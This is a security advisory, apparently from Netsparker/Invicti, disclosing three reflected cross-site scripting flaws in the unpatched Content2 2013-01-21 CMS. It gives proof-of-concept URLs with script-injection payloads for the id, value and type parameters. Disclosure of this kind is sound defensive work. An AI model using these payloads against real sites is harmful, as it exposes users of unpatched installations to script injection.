Multiple Reflected XSS Vulnerabilities in Content2

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in Content2
Affected Software: Content2 2013-01-21
Affected Versions: 2013-01-21
Vendor Homepage: https://sourceforge.net/projects/content2/
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-015

Technical Details

Proof of Concept URL for Cross-site Scripting vulnerabilities in Content2 2013-01-21;

Proof URL: /content2/index.php?moduledir=artikel&module=media&modulerefresh=false&type=&id='"--></style></scRipt><scRipt>alert(0x0026D4)</scRipt>&value=&searchstring=
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0026D4)</scRipt>

Proof URL: /content2/index.php?moduledir=artikel&module=media&modulerefresh=false&type=&id=&value='"--></style></scRipt><scRipt>alert(0x0026D6)</scRipt>&searchstring=
Parameter Name: value
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0026D6)</scRipt>

Proof URL: /content2/index.php?moduledir=artikel&module=media&modulerefresh=false&type='"--></style></scRipt><scRipt>alert(0x0026D2)</scRipt>&id=&value=&searchstring=
Parameter Name: type
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0026D2)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

08 March 2017 – Advisory released

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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